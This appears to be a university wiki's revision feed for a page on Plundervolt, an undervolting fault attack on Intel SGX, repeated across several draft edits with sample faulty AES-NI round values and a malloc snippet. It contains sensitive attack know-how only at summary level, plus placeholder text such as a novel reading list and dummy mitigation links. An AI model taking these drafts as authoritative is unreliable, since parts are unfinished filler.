&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
The second attack vector is size computations for dynamic memory allocations. These allocations are very common and rely on multiplications. For example, a large array of struct elements might be allocated using the following (where red indicates the data type of the variable, teal is a code comment, and green represents a keyword). However, we showed that Plundervolt breaks the processor’s architectural guarantees, as imul (signed multiply) can be faulted to produce erroneous results that are smaller than the expected value. When a multiplication fault occurs during calculation of the size variable, a smaller buffer than expected will be allocated. Because Plundervolt corrupts multiplications silently, without failing the malloc() call, the subsequent code has no means of determining the actual size of the allocated buffer. The allocated buffer will assume a larger buffer for write and read operations and hence read or write out of bounds, corrupting the trusted enclave heap.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &#039;&#039;// Compute size&#039;&#039;&lt;br /&gt;
 size_t size = count * sizeof(elem_t);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// Allocate array&#039;&#039;&lt;br /&gt;
 elem_t *array = malloc(size);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// ... use array ...&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9000</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=9000"/>
		<updated>2021-12-21T22:23:29Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
 &#039;&#039;// Compute size&#039;&#039;&lt;br /&gt;
 size_t size = count * sizeof(elem_t);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// Allocate array&#039;&#039;&lt;br /&gt;
 elem_t *array = malloc(size);&lt;br /&gt;
 &lt;br /&gt;
 &#039;&#039;// ... use array ...&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8999</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8999"/>
		<updated>2021-12-21T22:23:01Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
 // Compute size&lt;br /&gt;
 size_t size = count * sizeof(elem_t);&lt;br /&gt;
 // Allocate array&lt;br /&gt;
 elem_t *array = malloc(size);&lt;br /&gt;
 // ... use array ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8998</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8998"/>
		<updated>2021-12-21T22:17:51Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
* the Graz University of Technology (Austria) &lt;br /&gt;
&lt;br /&gt;
The researchers found out that if previous fault injection attack concepts are combined together a new attack can be found: Plundervolt. The first concept was the Rowhammer attack. This attack shows that that tinkering with a memory cell&#039;s electrical charge, can cause it to flip its bit value from 1 to 0, and vice versa.&lt;br /&gt;
The second concept was CLKSCREW, which showed the usage of the CPU&#039;s energy management system called Dynamic Voltage and Frequency Scaling (DVFS) to take over a system.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt combines the principles behind these two attacks. The CPU&#039;s energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Factoring RSA Keys With One Fault &lt;br /&gt;
* Breaking AES-NI &lt;br /&gt;
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)&lt;br /&gt;
* SGX-provided instructions for key derivation and attestation&lt;br /&gt;
&lt;br /&gt;
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Faulting Pointer Arithmetic&lt;br /&gt;
* Faulting Memory Allocations&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Breaking AES-NI ===&lt;br /&gt;
&lt;br /&gt;
Enter these commands in the shell&lt;br /&gt;
&lt;br /&gt;
 plaintext: 5ABB97CCFE5081A4598A90E1CEF1BC39&lt;br /&gt;
 CT1: DE49E9284A625F72DB87B4A559E814C4       &amp;lt;- faulty&lt;br /&gt;
 CT2: BDFADCE3333976AD53BB1D718DFC4D5A       &amp;lt;- correct&lt;br /&gt;
 &lt;br /&gt;
 input to round 10:&lt;br /&gt;
 1: &#039;&#039;&#039;CD58F457 A9F61565 2880132E 14C32401&#039;&#039;&#039;&lt;br /&gt;
 2: &#039;&#039;&#039;AEEBC19C D0AD3CBA A0BCBAFA C0D77D9F&#039;&#039;&#039;&lt;br /&gt;
 &lt;br /&gt;
 input to round 9:&lt;br /&gt;
 1: 6F6356&#039;&#039;&#039;F9&#039;&#039;&#039; 26F80&#039;&#039;&#039;71&#039;&#039;&#039;F 9D&#039;&#039;&#039;90&#039;&#039;&#039;C6B2 &#039;&#039;&#039;E6&#039;&#039;&#039;884534&lt;br /&gt;
 2: 6F6356&#039;&#039;&#039;C7&#039;&#039;&#039; 26F8D&#039;&#039;&#039;01&#039;&#039;&#039;F 9D&#039;&#039;&#039;F7&#039;&#039;&#039;C6B2 &#039;&#039;&#039;A4&#039;&#039;&#039;884534&lt;br /&gt;
 &lt;br /&gt;
 input to round 8:&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;3E&#039;&#039;&#039;70A1&lt;br /&gt;
 1C274B5B 2DFD8544 1D8AEAC0 64&#039;&#039;&#039;66&#039;&#039;&#039;70A1&lt;br /&gt;
&lt;br /&gt;
=== Faulting Memory Allocations ===&lt;br /&gt;
&lt;br /&gt;
Make sure to read&lt;br /&gt;
&lt;br /&gt;
* War and Peace&lt;br /&gt;
* Lord of the Rings&lt;br /&gt;
* The Baroque Cycle&lt;br /&gt;
&lt;br /&gt;
== Mitigation and Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
[[Device to be used with this documentation]]&lt;br /&gt;
[[Maybe another device to be used with this documentation]]&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2021)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, &amp;quot;Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble,&amp;quot; in IEEE Security &amp;amp; Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV1&amp;quot;&amp;gt;K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, &amp;quot;Plundervolt: Software-based Fault Injection Attacks against Intel SGX,&amp;quot; 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;PLV2&amp;quot;&amp;gt;https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>SVrdoljak</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8997</id>
		<title>Plundervolt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&amp;diff=8997"/>
		<updated>2021-12-21T22:16:35Z</updated>

		<summary type="html">&lt;p&gt;SVrdoljak: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Plundervolt is a [[Fault Injection Attack]] which attacks Intel Core x86 processors, by generating faults through voltage glitching (specifically undervolting).&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This security feature allows developers to isolate various applications inside of secure &amp;quot;enclaves&amp;quot; from the other apps running on the OS. This way, sensitive information is kept save inside a safe enclave in the CPU.&amp;lt;ref name=&amp;quot;PLV&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV1&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;PLV2&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plundervolt was first discovered in 2019 by a team of six academics from the following universities: &lt;br /&gt;
* University of Birmingham (UK)&lt;br /&gt;
* KU Leuven (Belgium)&lt;br /&gt;
